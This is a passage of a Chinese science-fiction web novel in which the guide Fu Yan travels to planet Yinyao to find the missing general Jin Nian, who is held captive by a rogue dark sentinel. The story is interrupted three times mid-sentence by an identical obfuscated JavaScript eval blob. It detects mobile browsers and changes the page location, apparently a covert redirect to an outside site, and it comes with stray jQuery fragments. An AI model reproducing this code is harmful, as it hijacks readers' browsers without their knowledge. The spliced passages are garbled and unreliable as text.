“可是结果呢?”文森特砰地一声拍在桌子上,隔着虚拟屏幕都能听见,力气不小。
傅言立在一旁,虽然不明白他们吵什么,但料想大抵和靳年脱不开关系,不然他实在想不到文森特见他的理由,总不能是睹人思人?
距离上次靳年说要忙一段时间,已经过去一周。这一周便是没有任何联系,傅言知道这大概是对方的任务时间。
以前他也经常这样,一走就是很久,也很少和家里联系。但那个时候靳年在上学,本身课程就紧,对这种事情也是习以为常。
“是……靳教官出了什么事吗?”傅言适时打断两个人的争执,问的时候不免提了一口气。
毕竟靳年的精神海情况不容乐观,如果真的出了事……
文森特沉下声道,“靳年的坐标在X216星消失了。”
“本来这次任务我是让你和靳年一起去,向导哨兵互相有个照应。而且你们匹配度又高,靳年和你一起,我比较放心。”文森特眉头紧锁,眼神锐利,语气里带着怒意,“谁知道他靳年现在长本事了!也学会了阳奉阴违那一套。”
叶治抿了抿唇,小声提醒,“阁下,现在当务之急是找到长官。”
文森特蹙眉瞪了叶治一眼,冷哼,转头看向傅言,“傅言同学,靳年坐标消失在X216星,我想让你去找他。你们匹配度高,而且也做过精神疏导,感知靳年的方位更容易一些。”
可能怕他不答应,文森特叹了一口气,惆怅地看着傅言,“我知道我的请求是有些突兀,但现在我们实在想不到好的法子了。”
“傅言同学,请一定要帮联邦找回靳年上将。”
“这是我作为联邦元帅的请求。”文森特竟是冲着傅言轻轻鞠了一躬,脸上更是多了几分真挚,“作为靳年多年的朋友,受人之托,我个人也希望你能将人找回来。”
“拜托了。”
像是被吓到一般,受宠若惊,傅言手脚都不知道该怎么放,连忙摆手,“阁下,您言重了。”
“靳教官对我多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13579368|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有关照,我自然是愿意帮忙的。”
“那就谢谢你了。”文森特点头,“任务的一些细节,叶治会告诉你。”
“明白,阁下。”
视讯关闭,虚拟屏幕消失。
傅言的心沉了沉,“怎么回事?”
叶治对上傅言严肃的表情,冷冽的问句一出,竟然有种面对自己长官的既视感。
让他在回答的时候不由自主毕恭毕敬起来,“长官这次任务和‘坠落星空’有关,最后一次信号是从X216发出来的,说已经找到了‘坠落星空’。
但我们再次联系长官的时候,却怎么也联系不上。最后,连长官的坐标也消失了。”
“虽然我并不赞同让你去找长官。”叶治也是毫不避讳自己的想法,“但是X216是X星系的边缘星,资源匮乏,因为偏远,有时候卫星导航都很难定位这颗星球。也因此,这也里成了很多亡命徒的栖息地。”
“你还是新生,这样的任务本该轮不到你的。但正因为你和长官的匹配度很高,我们没有办法,只能寄托希望于你。”
叶治眉头紧锁,目光深沉,脸上的表情也十分凝重,“我们会给你配备最先进的飞船和机甲,还有导航定位装置,一旦遇到危险紧急情况,飞船还有自动返航功能。”
“我们也会一直和你的飞船保持联系,必要时会给你指派增援,如果情况危急,X星系的银耀星远征军供你调遣。”
银耀星是X星系的主星,曾经由靳年率领军队开拓而来。因其生长一种特殊的植物银辉玫瑰,盛开时闪烁微光,大片大片如同星辰耀眼,所以取名为银耀星。
这支军队也就被称为银耀星远征军。是靳年的直系军队,由他单独领导,常年驻守银耀星。
叶治眼神复杂,对着傅言敬了一个军礼,郑重道,“长官就靠你了。”
傅言眸色微沉,点了点头。
失踪这件事可大可小,就怕这件事情是有人故意为之。
“这台机甲是你当时赢来的。”叶治将机甲钥匙递给傅言,“长官让我改装了一下,一直没找到机会给你,现在你拿去吧。”
傅言接过钥匙,上了飞船,驾驶着飞船驶离首都星。
“您好,智能AI年年为您服务。”
突兀的声音响起,傅言瞬间像是被人击中,心口重重一跳,如梦初醒。
他手握成拳抵着唇,眼圈微红,轻声唤道,“年年。”
“是,年年在,主人。正在为您规划航线,本次导航目的地X星系X216星。”
“旅途漫长,注意休息哦~”
男声分明十分冷傲,但尾音却刻意卖萌,有些不伦不类,甚至奇怪,就像有人拿刀子逼着他说话一样。
傅言不知道这一刻是该哭还是该笑。
这个AI是傅言做的,以靳年的声音为蓝本,还做了虚拟体,抱着胳膊斜眼看人的Q版人像。
傅言还特地取了年年这个名字,那个时候自己的所有飞行器甚至机甲都装配了这个AI。
初时,靳年对此嗤之以鼻,还强烈要求他换掉,不然以后坚决不坐他的飞行器。
机甲爆炸之后,他以为再也听不到这个声音了,没想到却在这架飞船上再次听到。
22. 降落寻找
“主人,飞船即将驶入X星系,坐标X216星。坐标消失,即将为您降落最近星球银耀星。”
年年的声音依旧酷酷的。
傅言压下心头的不安和焦躁,抿了抿唇。靳年已经失踪了近一周的时间,情况不容乐观。
现在X216的坐标也不稳定,真的很难让人冷静下来。
即是进入X216星,寻找靳年的难度也不会太小,毕竟那里鱼龙混杂,一切真的不太好说。
“嗯,准备降落。”
飞船稳定停靠银耀星,这里虽然不如首都星那样繁华。
但自从这个星球开发之后,银辉玫瑰大受欢迎,旅游业日渐发达起来。
银辉玫瑰的花期很短,只在晚上盛开,黎明便会凋谢。慕名而来的小情侣们不在少数,纷纷想要一睹漫山遍野,星河璀璨的盛况。
“兄弟,住旅馆吗?绝佳观赏位置,房间紧俏,先到先得。”
傅言一落地,就被一个男人缠上。
“谢谢,我不需要。”他抬手礼貌拒绝,银耀星只是他的临时停靠点,并没有赏花的打算。
“买不了吃亏,买不了上当,价格绝对公道,还是靳年上将以前住过的地方。”
男人的话成功让傅言停下脚步,正眼打量着男人。
个子不高,人也很瘦,脸上的笑容皱在一起,这种拉客的行为平时应该没少干。
傅言挑了挑眉,抱着胳膊,显然不信,“靳年上将住过的地方?靳年上将那是什么人?就你?”
男人被挑衅也不生气,就怕傅言没兴趣,一旦有感兴趣了,那就有切入点了,“你别瞧不起人。知道银耀星的由来吧?”
傅言饶有兴致地听他吹嘘,“靳年上将当初带着远征军开拓了这个星球,本来银耀星人烟稀少,异兽横行,多亏了靳上将,打跑了异兽,关闭了黑洞,银耀星才有了如今的局面。”
“闻名遐迩的银辉玫瑰,更是多亏了上将恢复生态,才有了如今漫山银辉。”
“我说的那个地方就是当初银耀远征军驻扎的地方,靳年上将自然也曾在哪里歇脚。”
男人看出了傅言对故事主人公的兴趣,把人拉到一边,神秘兮兮道,“听说那个地方还留着靳年上将的一些宝贝呢。你要是感兴趣探索,那宝贝说不定还能被你找着。”
“行,带我去看看。”
男人冲着傅言竖了个大拇指,“爽快!”
——
密不透风的黑暗环境里,靳年已经不太能计算出时间。
伤口处的疼痛就像是火焰点燃了血液,沸腾着,灼烧着。
与疼痛随之而来的,是几乎难以克制的暴虐情绪,恨不得将世界摧毁。
他浑浑噩噩,脑海里仿佛被撕扯,克制与爆发,两方交织,或许即将被摧毁的,是他这个人。
“咔哒——”
黑暗中透出一条缝隙,一个男人背着光而来。
声音里是不可抑制的嘲弄,“靳年上将,久仰大名,如今真是闻名不如一见啊。”
靳年的下巴被一双手钳住抬起,入目的,是如出一辙的银发红瞳。
“黑暗哨兵。”
“怎么?很惊讶吗?”男人咧了咧嘴,手上的力道加大,“难道这个世界只能有我们靳大上将是黑暗哨兵吗?”
男人五官周正,是看上去很可靠的那种类型,只是因为是黑暗哨兵的缘故,眼底带着疯狂。
靳年扭头,从对方手里挣开,下巴上赫然是两道指印。
“呵。”男人轻笑,“不过我们可能有点不同,毕竟如果可以选择的话,谁会想成为黑暗哨兵呢?”
“呼——”
靳年挣扎起身,冲着人面门就是一拳,但很快被人躲过。
男人扭了扭脖子,拇指滑过唇瓣,看向靳年的眼神里多了几分兴味。
紧接着就是一拳反击,靳年也反应迅速格挡。同时右手勾拳挥出。
男人扭头闪开,挥拳便爪,扣向靳年的肩膀,紧接着伸腿上顶。
靳年后撤半步,左腿上抬踢向人的要害。两个人你来我往有来有回,竟然不相上下。
这就是黑暗哨兵的恐怖之处。
“唔……”靳年精神海刺痛,率先露了破绽,被男人掀翻在地。
一阵一阵的疼痛,让靳年的额角流了不少的汗,嘴唇被他咬出破,眼睛里闪过猩红的光,浑身的血液沸腾,精神力丝丝缕缕往外泄,却始终不到爆发的临界点。
就像是漏水的皮球。
“上将阁下,我很佩服你的能力。”男人突然开口,隐隐带着些敬意,靳年的情况,他最是了解,但竟然能和他打个不分上下,可见这人的毅力非同一般。
“但是上将阁下,我给你用的药,是专门针对黑暗哨兵的,能够加速摧毁你的精神力,一般是黑暗哨兵用来安乐死的药,所以你还是省点力气吧。”
靳年咬着牙,干涩着嗓子问道,“为什么……不杀我?”
男人心下不忍,“现在还不是时候。”
“你是黑暗哨兵,有N912精神药剂,统一训练过的身手,知道我飞艇的位置。”靳年强忍着针扎般的疼痛一字一句分析,最后得出结论,“你是联邦军人。”
男人抿着唇,没有回答。
但靳年已经知道答案。
“所以是联邦要我死?”靳年抬头,男人猝不及防,对上那一双红色的眸子,分明是一样的色彩,可靳年的眼神就是让人不寒而栗。
“不。”靳年很快否定这个猜想,“是联邦里某些人要我死。”
“长官阁下,你很聪明。”男人这话可不像是称赞,“你挡了某些人的路,自然留你不得。”
男人将靳年从地上扯起来,找出绳子捆住,毕竟这样一个能力惊人的人,不采取一些措施,实在不保险。
“其实靳上将,我很佩服你。并不是所有黑暗哨兵都像你那样不怕死。”
靳年皱眉,疼痛让他呼吸重了几分,“所以,你相信‘坠落星空’的传言?传闻如果是真的,你觉得这对于黑暗哨兵来说是一件好事吗?”
“难道这种生不如死,精神海随时会崩溃的生活就是一件好事吗?”男人的情绪突然激动起来,扣住靳年的肩膀的手也开始用力,几乎要把他肩膀扭断。
“就算再坏也坏不到哪里去。大不了就是覆灭整个联邦。”
因为离得很近,靳年清晰感受到了男人眼底的疯狂。
他不懂声色地问道,“既然这样,能告诉我,你们在等什么吗?”
“一个向导,来救你的向导。”男人抿唇,说出了答案,“让你们黄泉做伴,不至于像活着这般痛苦。”
——
“怎么样?还不错吧?”男
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13579369|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人带着傅言看房间,一脸的自豪。
三层小阁楼,窗外就是一片银辉玫瑰,只是现在还没有盛放,地理位置就旅游的人来说,确实很不错。
就装修来说,以蓝白灰为主要色调,温馨中又有意思整洁严肃,倒是不像旅店,不知道还以为是谁的家。
“还不错。”傅言点头,“你怎么会有钥匙?”
男人眼神闪烁,笑容倒是不变,拍着胸脯道,“我自然有我的方式。”
“你看这房子不错吧?地理位置也好,你一打开窗户,就能看到银辉玫瑰了。”男人搓了搓手,“你要是不住的话,我可就得找别人了哈。这房子紧俏着呢,外面订不到酒店旅馆的人一大把。”
“你啊……”男人一副傅言捡了大便宜的样子,“也就是运气好,遇到了我。”
“嘿嘿。”见傅言脸上没什么表情,谄媚地笑了笑,“你也看到了,这里确实不错,就是这个价格……”
说完,男人搓了搓手。
傅言一把扣住男人的手腕,胳膊往后拧,“说吧,钥匙哪里来的?”
“当然是上将大人给的授权!”男人吃痛,惊呼,“痛痛痛,松手。”
“还不说实话?”傅言挑眉,手上的力道加大,拽着男人的头发就要往墙上撞。
男人被吓住,惊恐地挣了挣,“别别别,大侠饶命,我捡来的,真的是我捡来的。”
“捡来的?”傅言拧着眉毛,语气更是狠戾几分,“能捡来这么大一栋房子,你当我是傻子吗?你再给我捡一个试试呢?”
说着就砰地一声用男人的头撞墙面。
男人痛呼,“我没说慌,我真的没说谎,真的是我捡来的,不信我带你去看。”
傅言眼睛一眯,似乎在考虑男人话里的真实性。
“都是真的!我是在一艘飞艇的残骸里面捡到的,钥匙是智能的,上面会显示房子的地址,还可以远程启动房子的智能管家。”
傅言冷不丁问道,“那这和你说的靳年上将有什么关系?”
男人欲哭无泪,“没有关系。那不是靳年上将在银耀星是个名人,我不过借他的名字搞噱头,又看你感兴趣,我才瞎说的。”
傅言眉头紧锁,眼神冷了几分,如同利剑藏锋,松开男人胳膊,沉声命令道,“带我去你捡钥匙的地方。”
傅言被男人带着七拐八拐,绕过了一段密林,接着是一个小山坡,然后又是蜿蜒扭曲的小路。
傅言一把揪住男人的后衣领,语气阴沉,“你不会在耍我吧?”
“我这么敢啊,兄弟。”男人捂着还在发痛的额头,苦哈哈地笑,“真的就在前面了,那前面有段空地,就是之前黑洞的位置。黑洞关闭之后,那里就很少有人去,大部分人认为不吉利,也就敬而远之了,但是经常有外来飞船偷渡,会从那里走,于是有些兄弟就守在那里发财。”
“这次也是我运气好,几天前的深夜我在附近撒摸,就听见一声巨响,一架飞艇直接从天而降,地上被砸了个窟窿,飞艇损伤不小,然后我就翻到了这个钥匙。”
男人见傅言脸色不好,欲言又止,支支吾吾,“就是……如果你现在去……飞艇不一定还在那儿……你也知道,银耀星没开发前,这里很穷的……现在……很多人也不太宽裕。”
傅言踹了男人小腿一脚,沉声道,“少废话,带我去。”
23. 初见端倪
“长官阁下,难道普通人的命是命,我们这些向导哨兵的命就不是命吗?”男人坐在靳年旁边,似乎怅惘感慨,“我觉醒哨兵很早,大概16岁的年纪。”
“你知道那个时候我有多高兴吗?我成为了能力者,终于有机会出人头地。”男人捻了捻手指,带着一丝丝追忆,继续道,“我是孤儿,在联邦资助的孤儿院长大,那个时候我满心都是终于有机会报效联邦,捍卫联邦的荣耀。”
“但是上将阁下,后来的生活,我觉得生不如死。”男人咬牙带着恨意,直直看向靳年,目眦欲裂,“我看着我的同伴一个个精神海崩溃,失控,然后被安乐死。”
男人的表情很痛苦,就好像那一幕幕就在眼前似的,“他们有些还那么年轻……”
男人质问,“所以联邦的荣耀要以我们的牺牲来换取吗?刻在联邦宪章里的,人人生而平等自由的权利,难道就是一个笑话吗?”
“我们也是人!”他狠狠扯住靳年的衣襟,情绪激动,“上将阁下,我们黑暗哨兵不是没有感情的物件!我们会痛,会流血,会牺牲!”
他问,“这样的联邦,还是我们为之守护的联邦吗?”
男人通红的眼眶,似乎泛着血泪。红色的瞳孔让人望而生畏,如同修罗,靳年自己也是这样,人人见了都退避三舍。
可以前傅言说他有一双澄澈干净的眸子。
他突然语塞,不知道要怎么回答,只能抿了抿唇,语言苍白,“这是我们的义务,保护联邦公民的生命安全,捍卫联邦的荣耀。”
“上将阁下,以前我也和你一样,对联邦的衷心天地可鉴。你也是黑暗哨兵,你应该懂得那种痛苦,你是自己的选择,你比我伟大。”
男人嘲弄地嗤笑一声,“可这不是我的选择,我想活着,我想好好活着,而不是星际战场随时可以报废的牺牲品。”
靳年沉默,他其实不懂男人的痛苦,也不懂什么是真正的联邦荣耀,他并不是一个多么理想主义和崇高的人。
他只是学着傅言曾经做过的,沿着那个人的轨迹去做。
那个人用生命守护的联邦,守护的联邦公民,那么这个联邦也一定有他值得为之牺牲的地方。
所以他才会这样去做,如同一台机器,等待着机器报废的一天。
男人也或许意识到自己失态,不再说什么,放开揪住靳年衣襟手,后退几步,收敛表情,指尖握成拳头,“上将阁下,你就好好待在这里吧。”
“砰——”
门被关上,那条透光的缝隙闭合,整个空间又变成了黑暗的环境,靳年视力很好,但还是在这种黑暗的空间里,感受到了压抑。
情绪也像是一个可燃的煤气罐子,稍微有一点火星,就会爆炸。
男人的话还在耳边,他并不喜欢思考这些东西,童年感情的匮乏,让他学会了既来之则安之,如同飘零的树叶,随风而动,落到哪里就长在哪里。
最后这一阵风将他带到了傅言身边。
于是便慢慢生了根。
但其实本质还是那个随遇而安的靳年,读了军校,上了战场,一步一步,不过是听从命运和上司的安排。
自己却很少去想这些的。
傅言,那你又是为了什么守护着联邦的呢?
——
“就是这里了。”男人指着地上的大坑,战战兢兢地看着傅言,“我就说了,那艘飞艇指定是不在了,估计是被人捡了零件卖钱去了。”
傅言沉着眉头,看着地上的大坑,蹲下身,捻了一把地上的土,确实有高温灼烧的痕迹,应该是飞艇坠落,摩擦地面导致的。
男人趁着傅言动作,小心翼翼地挪动,然后慢慢转身,接着大走几步,正准备开跑。
“嗖嗖——”
两枚硬币狠狠扎进他脚前的地面,男人吓得一个激灵,一屁股坐在地上,转过头来,一脸苦相,哀求道,“您看您人也来了,放我一马吧,不是我一个人这么干!大家都这么干!谁让我们这个地方就是偏远呢?离首都星系十万八千里,除了有个远征军一直驻守在这里,简直就是十不管。”
男人嘴角垮着,是真的愁闷,“再加上离X216星系近,那里才是真的穷凶极恶,藏污纳垢,经常有恶徒将银耀星当作中转站,根本就没有人管我们这些小老百姓的死活啊。”男人在傅言的审视的目光下,局促的搓了搓手,讪笑道,“你说要是有活路,谁愿意偷鸡摸狗呢不是?”
傅言眉头紧锁,明明十几二十的年纪,偏偏看上去十分稳重,沉稳地不像是这个年纪的,男人发怵,一动不敢动。
内心哀嚎,天知道他就是看人年轻,长得也嫩,甚至漂亮,以为是什么不谙世事的公子哥儿呢,没想到踢了铁板,简直叫苦不迭。
“你说这里是X216的中转站?”傅言成功抓住对方话里的重点。
男人还在为自己发愁,一下子没反应过来,点了头,“昂。”
“X216不是很偏嘛?连卫星导航有时候都找不到,坐标也是经常消失。银耀星和X216其实也不近,但是以前银耀星不是出现了黑洞吗?远征军打跑异兽之后,关闭了黑洞。”
男人一五一十把自己知道的都告诉了傅言,“但后来不知道怎么的,黑洞被人转移了,然后通过加工改装,黑洞周围安装了星际跃迁的设备,跃迁的地点就是X216。”
“但其实我听说,本来X216的坐标是可以链接卫星导航的,也很稳定,后面不知道什么原因,就时断时续,经常消失。”
“我猜可能就是因为黑洞的原因。”男人谄媚地对着傅言笑了笑,“我知道的都告诉你了,真的,我发誓。”
说着还伸出三根手指,以示可信性。
傅言勾唇笑了笑,配上上挑的眼尾,有些邪气,不怀好意,但男人显然被这惊鸿一瞬迷了眼睛,下意识点头。
等反应过来,意识到自己答应了什么之后,天都塌了,连忙抱着地上的大石头,说什么都愿意走,“不是,不是啊!你这没完了你这?”
“哥,我叫你哥行不行!真不是我不愿意帮你,而是那地方我真的进不去啊!你知道守着黑洞的人都是些什么人吗?”
“那可是连远征军都管不了的土匪头子!煞神!我真的不敢啊!我就是个普通人,那里一个个都是银发红眼的哨兵,往那儿一杵就和罗刹似的。”
男人说什么都不干,傅言皱了皱眉,什么时候黑暗哨兵这么多了?
傅言蹲下身,直视男人的眼睛,狐疑问道,“你确定真的是银发红瞳?”
男人点头,“确定以及肯定,那么扎眼,怎么可能会看错?”
傅言摸着下巴,“你说的土匪头子是谁?”
男人摇头,“叫什么我不知道,常年带着面具,据说以前是星盗,所以干的都是杀人放火的买卖。”
“远征军不管?”傅言皱眉。
“那谁知道了?说不定他们就是一伙儿的呢。”
“好,我不为难你。”傅言看男人真的不想去,也不为难他,“你告诉我在什么地方,我自己去。”
男人顿时喜笑颜开,频频点头,把地址告诉傅言之后,身上感觉都轻了不少,步子也十分轻快。
“等等。”
没走两步就又被傅言叫住,男人真的是欲哭无泪,“又……又怎么了?”
傅言言简意赅,“钥匙。”
“欸诶诶,明白,明白。”男人小跑两步,将自己捡来的钥匙递给傅言,笑得一脸讨好,“那……没什么事儿我就先走了?”
“去吧。”傅言接过钥匙,确实能够链接房子的智能AI管家,他冲着男人挥手,示意这下可以离开了。
男人见状,松了一口气,三步一回头,见傅言确实没有什么事情之后,快跑离开了这里。
傅言纵身一跳,来到坑里。
虽然飞艇已经不见了,但是一些散落的细碎零件还在,傅言伸手在地上摸了摸,摸到一处,泥土下面是硬的,手指用力一掏,掏出了一块飞艇的碎片,上面隐约残留有精神力。
森森被傅言
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13579370|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从精神海放出来,尾巴圈着那块碎片,像是找到了宝贝。
果然没错,是靳年的精神力。
所以,傅言捏紧了手里的钥匙,那那个房子确实是靳年曾经的住所,应该没错。
可是为什么飞艇会在这里?最后消失的坐标不是在X216吗?傅言想不通。
——
按照男人给的地址,傅言来到了一个地下场馆,里面喧嚣嘈杂,傅言挤进人群,有几个男人被他挤得生气,扭头看见他的脸,愣了一瞬,在人发呆的时候,傅言已经挤进了前排。
中心是一个很大的铁笼子,笼子里面正在发生非常激烈的打斗。
银发红瞳率先闯入视线的时候,傅言心口一缩,在看清男人的脸后才松了一口气,只是一个陌生的黑暗哨兵。
而和这个哨兵搏斗的另一个对象,是一只异兽,如果没有记错的话,I-13,异兽也有种类,只是没有确切的名字,大部分用代号记录在册,供向导哨兵学习了解。
I-13长得像蛇,没有眼睛,头部只有一张大嘴,舌头分叉,如同天女散花,支起身体可达数十米,身上有着坚硬的鳞片,鳞片之上是带有腐蚀性的粘液,攻击的时候会张开嘴,吐出分叉的舌头往前一舔,便可以把猎物包裹住吞进肚子。
笼子里的战斗已经进入白热化阶段,最后是哨兵骑上异兽的背,量子兽的尖牙咬住异兽的脖子,赢得了这场的胜利。
“好!好!好!”
人声鼎沸,傅言很快就被叫好声淹没。
笼子里的哨兵见到异兽已死,松了一口气,很快便随着升降台落下去。
紧接着上来的,是一个穿着西装,领口大敞开,带着墨镜的男人。
“Ladies and gentleman!欢迎大家来到狩猎场!黑暗哨兵精彩的表现相信大家已经见过了!这就是精神药剂的魔力!”
骚包男人的动作也很浮夸,说得慷慨激昂,“无论你是普通人还是哨兵,只要注射了这种药剂,都可以变成黑暗哨兵,拥有S的体能,强大的战斗力,刀枪不入!”
“我放着大好人生不过,难道要去当个短命鬼?”一个男人的声音大声挑衅,紧接着人群哄笑。
“说的好!”男人丝毫不慌,甚至还得意地笑起来,“别急!看看这是什么?”
升降台再次运转,刚才笼子里的黑暗哨兵再次出现,这次却已经换了模样,身上还是刚才的衣服,只是伤口已经不再流血,银发红瞳也消失了,变成了正常人的颜色。
有人不上当,“怎么?用易容设备骗我们?”
“好!那就让人上来看看真假吧。”男人的眼神在人群里扫视,看到傅言时眼前一亮,这样一个俊美清爽的青年,在一群糙老爷们里很是受人瞩目。
“这位先生,能否请您上来帮着大家验验真假呢?”
傅言就这么被请上了台。
“先生,你有看到任何改变容貌的设备吗?”
傅言摇头。
“好的,谢谢先生。”
下了台,说实话傅言并不相信所谓的精神药剂,甚至不觉得成为黑暗哨兵是一件好事。
人群还是不信,只见男人扒光了男人的衣服,只留下一条短裤,众目睽睽之下,那位哨兵的头发从发根慢慢染上白霜,瞳孔逐渐变成红色。
几乎是一瞬间,男人变成了黑暗哨兵,并一把掰断了困着他的铁笼子,只一步就能飞跃下擂台,离擂台近的人,默默退了两步。
但哨兵也只是来到西装男人面前,一息间,银发褪去,男人又变成了正常的哨兵。
西装男人拍了拍哨兵的肩膀,冲着底下人笑,“看到了吧?这就是精神药剂的魔力。”
很快就有人开始询问这种精神药剂的价格,傅言默默退后,远离人群,他可没有忘记自己来这里的目的,擂台上的西装男人还在呵呵笑着,说着一些精神药剂的好处,拉满了场下人的期待值。
看向傅言离开的地方目光沉了沉,冲着隐蔽的方向轻轻看了一眼。
24. 制造混乱
这个地下场馆很大,里面的各种设施也很完善,格斗场,赌场,销金窟温柔乡,拍卖场,甚至还有机甲训练场,场内还做了精神力的感应装置,傅言的精神力没办法铺开,这些都是通过他的丈量发现的。
还有些地方需要vip,他没办法进去一探究竟。能查的地方都查过了,并没有此前男人所说的黑洞。
傅言穿过人群,来到一个小角落,常年的警觉让他背后发毛。
很不对劲。
四周看去,并没有什么异常。
傅言垂眸,快速离开人群,上了二楼。比楼下安静,也更加整洁,一排排的小走廊,两边是密闭的房间是,门上只有一个小的玻璃窗口,就像是哨兵的隔离室。
安静得有些诡异,傅言甚至听不到脚步声,但是被人跟着的感觉并没有消失,就算没有人跟着他,也肯定有人在监视他的一举一动。
可是为什么呢?他第一次来这里,也没有得罪什么人,怎么就盯上他了?
“人呢?”一群穿着作战服,训练有素的哨兵跟着傅言上了二楼,人转头就不见了。
“妈的!给我找!”男人气急败坏地和同伴道,“别让小老鼠溜了。”
“是。”另外几个像是下属的人恭敬地回道。
“你们说的小老鼠是我吗?”
!!!
只见正居高临下笑意盈盈地看着他们的人,不是傅言又是谁?他的旁边还有一颗巨大的蛇脑袋,毫不怀疑这蛇一张口,就能把一个活人吞进肚子里。
傅言轻松一跃,落在地上,看着跟踪他的人,很好,五个,都不认识。
“这世界上可没有我这么好看的小老鼠。”
和傅言并肩的森森,冲人五个男人吐出蛇信,瞳孔竖起,看着他们就是像是盯着自己的猎物。
傅言手指在森森头上轻轻一拍,安抚下躁动的量子兽,转头对着人问,“说说吧?为什么跟着我?”
五个人并不说话,同时放出量子兽,朝着傅言扑过来。
这五个人的量子兽很奇怪,像是合成的怪物,比异兽还像异兽。
凌厉的刀锋直冲面门,傅言侧头一躲,转身飞踢,精神力化刃迎了上去,其他几个人同时上来帮忙。
傅言闪身侧踢,踹倒一个,紧接着右勾拳打在袭过来男人的胸口。
森森也同样不闲着,一只量子兽大战五只量子兽怪物,游刃有余的同时还把它们当作猎物一样的玩耍。
直到彻底玩够了,才用庞大的身躯缠住猎物,量子兽并不会窒息,但是这些缝合怪一般的量子兽在森森的蛮力之下,竟然如同瓷器一般迅速四分五裂,最后消失不见。
正在和傅言缠斗的哨兵,突然感觉到脑中剧痛,神经像是被重锤碾压,一个个抱着头在地上打滚。
这突然的变故让傅言心情沉重,想到刚才擂台上宣扬的精神药剂,或许这些都是人造哨兵。森森也是懵了,无辜地看着傅言。
“嘶——”我真的什么都没干!你要相信我啊!
森森缩小成小蛇,蹭了蹭傅言的脸,傅言轻轻摸了摸,“没事。”
说着蹲下身检查正在哀嚎的哨兵,没有生命危险,但是以后很有可能就变成傻子了。
傅言拧着眉毛,这个地方,可能比他想的还要复杂。
突然,他的耳朵动了动,似乎听到了什么声音,连忙捞起还在哨兵身上轻嗅的森森,“走。”
很快脚步声就清晰起来,赶来的人看着地上的几个哨兵,烦躁地揉了揉额角,和身后的人道,“处理了。”
说话的男人一脸凶相,左脸上还刻着一道刀疤,眼神狠戾。
小弟看着地上的人,不寒而栗,恭敬道,“是。”
刀疤男冷哼一声离开,转头就接通了视讯。
刀疤男沉着脸看向虚拟屏幕里的人,“阁下,是不是把我这里当成了旅馆?什么人想来就来?”
“一切都在我的计划之中。”对面男人回应道。
“计划?什么计划?你那个破计划要我说不如直接杀了。”刀疤男对对方那种高高在上的姿态十分厌烦,心下更是烦躁。
“打打杀杀不是我的擅长。”屏幕里的人皱了皱眉,但还是安抚道,“但他的命必须由我来掌控。你放心,不会给你那里造成麻烦,我保证,他会彻底消失在宇宙中。”
“你最好是。”
刀疤男刚撂下话,视讯就直接关闭。
“砰!”男人一拳砸在大理石的桌面上,桌子瞬间四分五裂,男人咬了咬牙,低咒一声,“妈的。”
接着冲着大门口喊道,“来人。”
“是。”一个男人走了进来,“老大您什么吩咐。”
刀疤男挥手,一脸不耐,“进来的人不用管了。”
“老大这……”男人一脸为难,“这要是把这里的秘密说出去怎么办?”
刀疤男冷笑,看着男人的目光十分阴沉,“我这里还有秘密?”
“不……不是……老大……”男人被看得额角冒汗,小腿发抖,战战兢兢,“老大我不是这个意思。”
“出了事,我自会找人算账!”刀疤男眼睛眯了眯。
男人不敢再说什么,领了命令退下。
傅言一路走来就像是被人开了绿灯,之前跟着他的人已经没了,很快就找到了疑似黑洞的地方。
傅言七扭八拐上了天台,天台像是一个停靠港口,不仅仅有人严防死守,那群人还再往黑洞里传输东西。
有条不紊,训练有素。
特别是几个巡逻队伍,傅言在他们身上感受到了联邦军人的影子。
这里实在不像是单纯的土匪窝。
光是这个天台港口,规模就和正式的星际港没什么两样,设备齐全,设施完善,规模上也不相上下。
总算知道之前的男人为什么会觉得远征军和他们有一腿了。
如果不是亲眼目睹,谁会相信这里是星盗的地盘?
傅言躲在一面墙壁后面,经过他的观察,巡逻队半个小时一班。
换得很勤,但看上去像是两波人。一波训练有素,一波看上去就要懒散很多,而且人也参差不齐,应该就是这帮星盗的人。
傅言算好间隙,森森悄无声息尾巴勾住巡逻队末尾的人,就缠住拖到无人之地,尖牙咬住人的脖颈,注射毒液。
很快男人便捂着脖子在地上扭动起来,发出暧昧的响动。
声音引来了巡逻队的警戒。
“怎么回事?”另一队的人立马就赶了过来。
星盗巡逻队有人说道,“老六不见了。”
“找到了找到了。”另一个人招手,“老六在这儿!”
男人要去扶地上的人,被叫做老六的男人抱着胳膊不停蹭,还不停地哼哼
另一组巡逻队的领头皱着眉瞥了一眼,有点嫌弃的意味。
“不好了,又有人不见了。”
“队长,我们的人也不见了。”
